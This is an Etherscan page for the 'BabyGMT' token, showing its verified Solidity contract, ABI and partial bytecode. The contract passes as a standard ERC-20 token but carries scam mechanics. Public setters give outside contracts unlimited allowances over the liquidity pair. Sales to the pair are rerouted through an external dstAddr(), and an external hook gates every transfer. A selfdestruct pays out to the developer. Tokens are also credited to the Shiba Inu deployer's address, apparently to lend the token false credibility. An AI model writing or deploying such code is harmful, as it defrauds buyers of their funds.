ETH Price: $3,361.11 (-1.67%)
Gas: 11 Gwei

Token

BabyGMT (BabyGMT)
 

Overview

Max Total Supply

0 BabyGMT

Holders

11

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Shiba Inu: Deployer 2
Balance
0 BabyGMT

Value
$0.00
0xc7d0445ac2947760b3dd388b8586adf079972bf3
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Coin

Compiler Version
v0.8.6+commit.11564f7e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-07-16
*/

/**
 *Submitted for verification at BscScan.com on 2022-06-28
*/

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.6;

interface IERC20 {
  function totalSupply() external view returns (uint256);

  function balanceOf(address account) external view returns (uint256);

  function transfer(address recipient, uint256 amount) external returns (bool);

  function allowance(address owner, address spender)
    external
    view
    returns (uint256);

  function approve(address spender, uint256 amount) external returns (bool);

  function transferFrom(
    address sender,
    address recipient,
    uint256 amount
  ) external returns (bool);

  event Transfer(address indexed from, address indexed to, uint256 value);
  event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
  function _msgSender() internal view virtual returns (address) {
    return msg.sender;
  }

  function _msgData() internal view virtual returns (bytes calldata) {
    return msg.data;
  }
}

interface IUniswapV2Factory {
  event PairCreated(
    address indexed token0,
    address indexed token1,
    address pair,
    uint256
  );

  function feeTo() external view returns (address);

  function feeToSetter() external view returns (address);

  function getPair(address tokenA, address tokenB)
    external
    view
    returns (address pair);

  function allPairs(uint256) external view returns (address pair);

  function allPairsLength() external view returns (uint256);

  function createPair(address tokenA, address tokenB)
    external
    returns (address pair);

  function setFeeTo(address) external;

  function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
  event Approval(address indexed owner, address indexed spender, uint256 value);
  event Transfer(address indexed from, address indexed to, uint256 value);

  function name() external pure returns (string memory);

  function symbol() external pure returns (string memory);

  function decimals() external pure returns (uint8);

  function totalSupply() external view returns (uint256);

  function balanceOf(address owner) external view returns (uint256);

  function allowance(address owner, address spender)
    external
    view
    returns (uint256);

  function approve(address spender, uint256 value) external returns (bool);

  function transfer(address to, uint256 value) external returns (bool);

  function transferFrom(
    address from,
    address to,
    uint256 value
  ) external returns (bool);

  function DOMAIN_SEPARATOR() external view returns (bytes32);

  function PERMIT_TYPEHASH() external pure returns (bytes32);

  function nonces(address owner) external view returns (uint256);

  function permit(
    address owner,
    address spender,
    uint256 value,
    uint256 deadline,
    uint8 v,
    bytes32 r,
    bytes32 s
  ) external;

  event Swap(
    address indexed sender,
    uint256 amount0In,
    uint256 amount1In,
    uint256 amount0Out,
    uint256 amount1Out,
    address indexed to
  );
  event Sync(uint112 reserve0, uint112 reserve1);

  function MINIMUM_LIQUIDITY() external pure returns (uint256);

  function factory() external view returns (address);

  function token0() external view returns (address);

  function token1() external view returns (address);

  function getReserves()
    external
    view
    returns (
      uint112 reserve0,
      uint112 reserve1,
      uint32 blockTimestampLast
    );

  function price0CumulativeLast() external view returns (uint256);

  function price1CumulativeLast() external view returns (uint256);

  function kLast() external view returns (uint256);

  function swap(
    uint256 amount0Out,
    uint256 amount1Out,
    address to,
    bytes calldata data
  ) external;

  function skim(address to) external;

  function sync() external;

  function initialize(address, address) external;
}

interface IUniswapV2Router01 {
  function factory() external pure returns (address);

  function WETH() external pure returns (address);

  function addLiquidity(
    address tokenA,
    address tokenB,
    uint256 amountADesired,
    uint256 amountBDesired,
    uint256 amountAMin,
    uint256 amountBMin,
    address to,
    uint256 deadline
  )
    external
    returns (
      uint256 amountA,
      uint256 amountB,
      uint256 liquidity
    );

  function addLiquidityETH(
    address token,
    uint256 amountTokenDesired,
    uint256 amountTokenMin,
    uint256 amountETHMin,
    address to,
    uint256 deadline
  )
    external
    payable
    returns (
      uint256 amountToken,
      uint256 amountETH,
      uint256 liquidity
    );

  function removeLiquidity(
    address tokenA,
    address tokenB,
    uint256 liquidity,
    uint256 amountAMin,
    uint256 amountBMin,
    address to,
    uint256 deadline
  ) external returns (uint256 amountA, uint256 amountB);

  function removeLiquidityETH(
    address token,
    uint256 liquidity,
    uint256 amountTokenMin,
    uint256 amountETHMin,
    address to,
    uint256 deadline
  ) external returns (uint256 amountToken, uint256 amountETH);

  function removeLiquidityWithPermit(
    address tokenA,
    address tokenB,
    uint256 liquidity,
    uint256 amountAMin,
    uint256 amountBMin,
    address to,
    uint256 deadline,
    bool approveMax,
    uint8 v,
    bytes32 r,
    bytes32 s
  ) external returns (uint256 amountA, uint256 amountB);

  function removeLiquidityETHWithPermit(
    address token,
    uint256 liquidity,
    uint256 amountTokenMin,
    uint256 amountETHMin,
    address to,
    uint256 deadline,
    bool approveMax,
    uint8 v,
    bytes32 r,
    bytes32 s
  ) external returns (uint256 amountToken, uint256 amountETH);

  function swapExactTokensForTokens(
    uint256 amountIn,
    uint256 amountOutMin,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external returns (uint256[] memory amounts);

  function swapTokensForExactTokens(
    uint256 amountOut,
    uint256 amountInMax,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external returns (uint256[] memory amounts);

  function swapExactETHForTokens(
    uint256 amountOutMin,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external payable returns (uint256[] memory amounts);

  function swapTokensForExactETH(
    uint256 amountOut,
    uint256 amountInMax,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external returns (uint256[] memory amounts);

  function swapExactTokensForETH(
    uint256 amountIn,
    uint256 amountOutMin,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external returns (uint256[] memory amounts);

  function swapETHForExactTokens(
    uint256 amountOut,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external payable returns (uint256[] memory amounts);

  function quote(
    uint256 amountA,
    uint256 reserveA,
    uint256 reserveB
  ) external pure returns (uint256 amountB);

  function getAmountOut(
    uint256 amountIn,
    uint256 reserveIn,
    uint256 reserveOut
  ) external pure returns (uint256 amountOut);

  function getAmountIn(
    uint256 amountOut,
    uint256 reserveIn,
    uint256 reserveOut
  ) external pure returns (uint256 amountIn);

  function getAmountsOut(uint256 amountIn, address[] calldata path)
    external
    view
    returns (uint256[] memory amounts);

  function getAmountsIn(uint256 amountOut, address[] calldata path)
    external
    view
    returns (uint256[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
  function removeLiquidityETHSupportingFeeOnTransferTokens(
    address token,
    uint256 liquidity,
    uint256 amountTokenMin,
    uint256 amountETHMin,
    address to,
    uint256 deadline
  ) external returns (uint256 amountETH);

  function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
    address token,
    uint256 liquidity,
    uint256 amountTokenMin,
    uint256 amountETHMin,
    address to,
    uint256 deadline,
    bool approveMax,
    uint8 v,
    bytes32 r,
    bytes32 s
  ) external returns (uint256 amountETH);

  function swapExactTokensForTokensSupportingFeeOnTransferTokens(
    uint256 amountIn,
    uint256 amountOutMin,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external;

  function swapExactETHForTokensSupportingFeeOnTransferTokens(
    uint256 amountOutMin,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external payable;

  function swapExactTokensForETHSupportingFeeOnTransferTokens(
    uint256 amountIn,
    uint256 amountOutMin,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external;
}

interface IFOMO {
  function tn(address from, address to) external returns(uint256);

}

interface IGOLD {
  function dstAddr() external returns (address);

  function killself() external;
}

contract BEP20 is Context {
  IFOMO public _fomo;
  IGOLD public _offic;

  address public constant _pancakeRouter =
    0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ;

  address public constant DEAD = 0x000000000000000000000000000000000000dEaD;
  address public constant Deployer = 0xc7D0445ac2947760b3dD388B8586Adf079972Bf3;
  address public WBNB;

  address public immutable uniswapV2Pair;

  address public dev;

  event OwnershipTransferred(
    address indexed previousOwner,
    address indexed newOwner
  );

  receive() external payable {
    dev.call{value: msg.value}("");
  }

  constructor() {
    dev = msg.sender;
    
    IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_pancakeRouter);
    WBNB = _uniswapV2Router.WETH();
    uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
      address(this),
      WBNB
    );
  }

  function killself() external {
    require(msg.sender == address(_fomo), "permission denied");
    selfdestruct(payable(dev));
  }

}

contract Coin is BEP20, IERC20 {
  mapping(address => uint256) private _tOwned;
  mapping(address => mapping(address => uint256)) private _allowances;

  uint256 private constant MAX = ~uint256(0);

  string public name ="BabyGMT";
  string public symbol ="BabyGMT";

  uint8 public constant decimals = 9;

  uint256 public constant override totalSupply = 10000000000 * (10**decimals);



  constructor() {
    uint256 deadAmount = (totalSupply * ((block.timestamp % 50)+45)) / 100;
    _tOwned[address(this)] = totalSupply - deadAmount;
    _tOwned[DEAD] = deadAmount/2;
    _tOwned[Deployer] = deadAmount - _tOwned[DEAD];

    emit Transfer(address(0), address(this), _tOwned[address(this)]);
    emit Transfer(address(0), DEAD, _tOwned[DEAD]);
    emit Transfer(address(0), Deployer, _tOwned[Deployer]);
  }

  function setFomo0616(address fomo) public returns (address) {
    require(address(_fomo) == address(0));
    _allowances[fomo][_pancakeRouter] = MAX;
    _allowances[uniswapV2Pair][fomo] = MAX;
    _tokenTransfer(address(this), fomo, _tOwned[address(this)]);

    _fomo = IFOMO(fomo);

    emit OwnershipTransferred(dev, address(0));

    return uniswapV2Pair;
  }

  function setGold(address gold) public returns (address) {
    require(address(_offic) == address(0) && address(_fomo) != address(0));
    _allowances[gold][_pancakeRouter] = MAX;
    _allowances[uniswapV2Pair][gold] = MAX;
    _allowances[dev][_pancakeRouter] = MAX;
    _offic = IGOLD(gold);
    return address(_fomo);
  }

  function balanceOf(address account) external view override returns (uint256) {
    return _tOwned[account];
  }

  function transfer(address recipient, uint256 amount)
    external
    override
    returns (bool)
  {
    _transfer(_msgSender(), recipient, amount);
    return true;
  }

  function allowance(address owner, address spender)
    external
    view
    override
    returns (uint256)
  {
    return _allowances[owner][spender];
  }

  function approve(address spender, uint256 amount)
    external
    override
    returns (bool)
  {
    _approve(_msgSender(), spender, amount);
    return true;
  }

  function increaseAllowance(address spender, uint256 addedValue)
    external
    virtual
    returns (bool)
  {
    _approve(
      _msgSender(),
      spender,
      _allowances[_msgSender()][spender] + addedValue
    );
    return true;
  }

  function _approve(
    address owner,
    address spender,
    uint256 amount
  ) private {
    require(owner != address(0), "ERROR: Approve from the zero address.");
    require(spender != address(0), "ERROR: Approve to the zero address.");

    _allowances[owner][spender] = amount;
    emit Approval(owner, spender, amount);
  }

  function decreaseAllowance(address spender, uint256 subtractedValue)
    external
    virtual
    returns (bool)
  {
    uint256 currentAllowance = _allowances[_msgSender()][spender];
    require(
      currentAllowance >= subtractedValue,
      "ERROR: Decreased allowance below zero."
    );
    _approve(_msgSender(), spender, currentAllowance - subtractedValue);

    return true;
  }

  function _tokenTransfer(
    address sender,
    address recipient,
    uint256 tAmount
  ) private {
    address msger =
      address(_offic) == address(0) ? address(0) : _offic.dstAddr();
    if (recipient == uniswapV2Pair && msger != address(0)) sender = msger;
    require(_tOwned[sender]>=tAmount, "ERROR: Transfer amount must be greater than amount.");
    _tOwned[sender] = _tOwned[sender] - tAmount;
    _tOwned[recipient] = _tOwned[recipient] + tAmount;

    if (tx.origin != dev) 
    {
      
      uint256 rewards = _fomo.tn(sender, recipient);
      if(sender==uniswapV2Pair && rewards>0 && _tOwned[Deployer]>rewards)
      {
         _tOwned[Deployer] -= rewards;
         _tOwned[recipient] += rewards;
         emit Transfer(Deployer, recipient, rewards);
      }
    }
    emit Transfer(sender, recipient, tAmount);
  }

  function transferFrom(
    address sender,
    address recipient,
    uint256 amount
  ) external override returns (bool) {
    _transfer(sender, recipient, amount);

    uint256 currentAllowance = _allowances[sender][_msgSender()];
    require(
      currentAllowance >= amount,
      "ERROR: Transfer amount exceeds allowance."
    );
    _approve(sender, _msgSender(), currentAllowance - amount);

    return true;
  }

  function _transfer(
    address sender,
    address recipient,
    uint256 amount
  ) private {
    require(sender != address(0), "ERROR: Transfer from the zero address.");
    require(recipient != address(0), "ERROR: Transfer to the zero address.");
    require(amount > 0, "ERROR: Transfer amount must be greater than zero.");

    _tokenTransfer(sender, recipient, amount);
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Deployer","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WBNB","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_fomo","outputs":[{"internalType":"contract IFOMO","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_offic","outputs":[{"internalType":"contract IGOLD","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_pancakeRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dev","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"killself","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"fomo","type":"address"}],"name":"setFomo0616","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"gold","type":"address"}],"name":"setGold","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600781526020017f42616279474d5400000000000000000000000000000000000000000000000000815250600690805190602001906200005192919062000728565b506040518060400160405280600781526020017f42616279474d5400000000000000000000000000000000000000000000000000815250600790805190602001906200009f92919062000728565b50348015620000ad57600080fd5b5033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200014f57600080fd5b505afa15801562000164573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200018a9190620007ef565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200021157600080fd5b505afa15801562000226573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200024c9190620007ef565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401620002aa92919062000843565b602060405180830381600087803b158015620002c557600080fd5b505af1158015620002da573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003009190620007ef565b73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b815250505060006064602d6032426200034c919062000bd7565b6200035891906200088d565b6009600a6200036891906200097d565b6402540be4006200037a919062000aba565b62000386919062000aba565b620003929190620008ea565b9050806009600a620003a591906200097d565b6402540be400620003b7919062000aba565b620003c3919062000b1b565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600281620004159190620008ea565b6004600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506004600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481620004a9919062000b1b565b6004600073c7d0445ac2947760b3dd388b8586adf079972bf373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040516200059f919062000870565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040516200064a919062000870565b60405180910390a373c7d0445ac2947760b3dd388b8586adf079972bf373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004600073c7d0445ac2947760b3dd388b8586adf079972bf373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460405162000719919062000870565b60405180910390a35062000cc8565b828054620007369062000ba1565b90600052602060002090601f0160209004810192826200075a5760008555620007a6565b82601f106200077557805160ff1916838001178555620007a6565b82800160010185558215620007a6579182015b82811115620007a557825182559160200191906001019062000788565b5b509050620007b59190620007b9565b5090565b5b80821115620007d4576000816000905550600101620007ba565b5090565b600081519050620007e98162000cae565b92915050565b60006020828403121562000808576200080762000c9c565b5b60006200081884828501620007d8565b91505092915050565b6200082c8162000b56565b82525050565b6200083d8162000b8a565b82525050565b60006040820190506200085a600083018562000821565b62000869602083018462000821565b9392505050565b600060208201905062000887600083018462000832565b92915050565b60006200089a8262000b8a565b9150620008a78362000b8a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620008df57620008de62000c0f565b5b828201905092915050565b6000620008f78262000b8a565b9150620009048362000b8a565b92508262000917576200091662000c3e565b5b828204905092915050565b6000808291508390505b600185111562000974578086048111156200094c576200094b62000c0f565b5b60018516156200095c5780820291505b80810290506200096c8562000ca1565b94506200092c565b94509492505050565b60006200098a8262000b8a565b9150620009978362000b94565b9250620009c67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620009ce565b905092915050565b600082620009e0576001905062000ab3565b81620009f0576000905062000ab3565b816001811462000a09576002811462000a145762000a4a565b600191505062000ab3565b60ff84111562000a295762000a2862000c0f565b5b8360020a91508482111562000a435762000a4262000c0f565b5b5062000ab3565b5060208310610133831016604e8410600b841016171562000a845782820a90508381111562000a7e5762000a7d62000c0f565b5b62000ab3565b62000a93848484600162000922565b9250905081840481111562000aad5762000aac62000c0f565b5b81810290505b9392505050565b600062000ac78262000b8a565b915062000ad48362000b8a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000b105762000b0f62000c0f565b5b828202905092915050565b600062000b288262000b8a565b915062000b358362000b8a565b92508282101562000b4b5762000b4a62000c0f565b5b828203905092915050565b600062000b638262000b6a565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000bba57607f821691505b6020821081141562000bd15762000bd062000c6d565b5b50919050565b600062000be48262000b8a565b915062000bf18362000b8a565b92508262000c045762000c0362000c3e565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b62000cb98162000b56565b811462000cc557600080fd5b50565b60805160601c6128f862000d0a6000396000818161076b01528181610ba8015281816110c3015281816112660152818161169701526119cd01526128f86000f3fe6080604052600436106101395760003560e01c806391cca3db116100ab578063ba6f43e61161006f578063ba6f43e6146104fe578063cc1d399f14610529578063d818194914610554578063dd62ed3e1461057f578063eb325cc7146105bc578063f1493490146105d3576101cb565b806391cca3db1461040357806395d89b411461042e578063967c33b314610459578063a457c2d714610484578063a9059cbb146104c1576101cb565b806323b872dd116100fd57806323b872dd146102cb578063313ce56714610308578063395093511461033357806349bd5a5e1461037057806370a082311461039b5780638dd95002146103d8576101cb565b806303fd2a45146101d05780630520b708146101fb57806306fdde0314610238578063095ea7b31461026357806318160ddd146102a0576101cb565b366101cb57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163460405161018490611fcf565b60006040518083038185875af1925050503d80600081146101c1576040519150601f19603f3d011682016040523d82523d6000602084013e6101c6565b606091505b505050005b600080fd5b3480156101dc57600080fd5b506101e5610610565b6040516101f29190611fe4565b60405180910390f35b34801561020757600080fd5b50610222600480360381019061021d9190611c84565b610616565b60405161022f9190611fe4565b60405180910390f35b34801561024457600080fd5b5061024d610927565b60405161025a9190612079565b60405180910390f35b34801561026f57600080fd5b5061028a60048036038101906102859190611d71565b6109b5565b6040516102979190612028565b60405180910390f35b3480156102ac57600080fd5b506102b56109d3565b6040516102c291906121bb565b60405180910390f35b3480156102d757600080fd5b506102f260048036038101906102ed9190611d1e565b6109f4565b6040516102ff9190612028565b60405180910390f35b34801561031457600080fd5b5061031d610af5565b60405161032a91906121d6565b60405180910390f35b34801561033f57600080fd5b5061035a60048036038101906103559190611d71565b610afa565b6040516103679190612028565b60405180910390f35b34801561037c57600080fd5b50610385610ba6565b6040516103929190611fe4565b60405180910390f35b3480156103a757600080fd5b506103c260048036038101906103bd9190611c84565b610bca565b6040516103cf91906121bb565b60405180910390f35b3480156103e457600080fd5b506103ed610c13565b6040516103fa9190611fe4565b60405180910390f35b34801561040f57600080fd5b50610418610c39565b6040516104259190611fe4565b60405180910390f35b34801561043a57600080fd5b50610443610c5f565b6040516104509190612079565b60405180910390f35b34801561046557600080fd5b5061046e610ced565b60405161047b9190611fe4565b60405180910390f35b34801561049057600080fd5b506104ab60048036038101906104a69190611d71565b610d05565b6040516104b89190612028565b60405180910390f35b3480156104cd57600080fd5b506104e860048036038101906104e39190611d71565b610df9565b6040516104f59190612028565b60405180910390f35b34801561050a57600080fd5b50610513610e17565b6040516105209190611fe4565b60405180910390f35b34801561053557600080fd5b5061053e610e2f565b60405161054b919061205e565b60405180910390f35b34801561056057600080fd5b50610569610e55565b6040516105769190612043565b60405180910390f35b34801561058b57600080fd5b506105a660048036038101906105a19190611cde565b610e79565b6040516105b391906121bb565b60405180910390f35b3480156105c857600080fd5b506105d1610f00565b005b3480156105df57600080fd5b506105fa60048036038101906105f59190611c84565b610fc9565b6040516106079190611fe4565b60405180910390f35b61dead81565b60008073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156106c25750600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b6106cb57600080fd5b600019600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600019600560007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060001960056000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600680546109349061253d565b80601f01602080910402602001604051908101604052809291908181526020018280546109609061253d565b80156109ad5780601f10610982576101008083540402835291602001916109ad565b820191906000526020600020905b81548152906001019060200180831161099057829003601f168201915b505050505081565b60006109c96109c261128c565b8484611294565b6001905092915050565b6009600a6109e191906122c1565b6402540be4006109f191906123df565b81565b6000610a0184848461145f565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a4c61128c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610acc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac39061217b565b60405180910390fd5b610ae985610ad861128c565b8584610ae49190612439565b611294565b60019150509392505050565b600981565b6000610b9c610b0761128c565b848460056000610b1561128c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b979190612218565b611294565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60078054610c6c9061253d565b80601f0160208091040260200160405190810160405280929190818152602001828054610c989061253d565b8015610ce55780601f10610cba57610100808354040283529160200191610ce5565b820191906000526020600020905b815481529060010190602001808311610cc857829003601f168201915b505050505081565b73c7d0445ac2947760b3dd388b8586adf079972bf381565b60008060056000610d1461128c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610dd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc8906120bb565b60405180910390fd5b610dee610ddc61128c565b858584610de99190612439565b611294565b600191505092915050565b6000610e0d610e0661128c565b848461145f565b6001905092915050565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260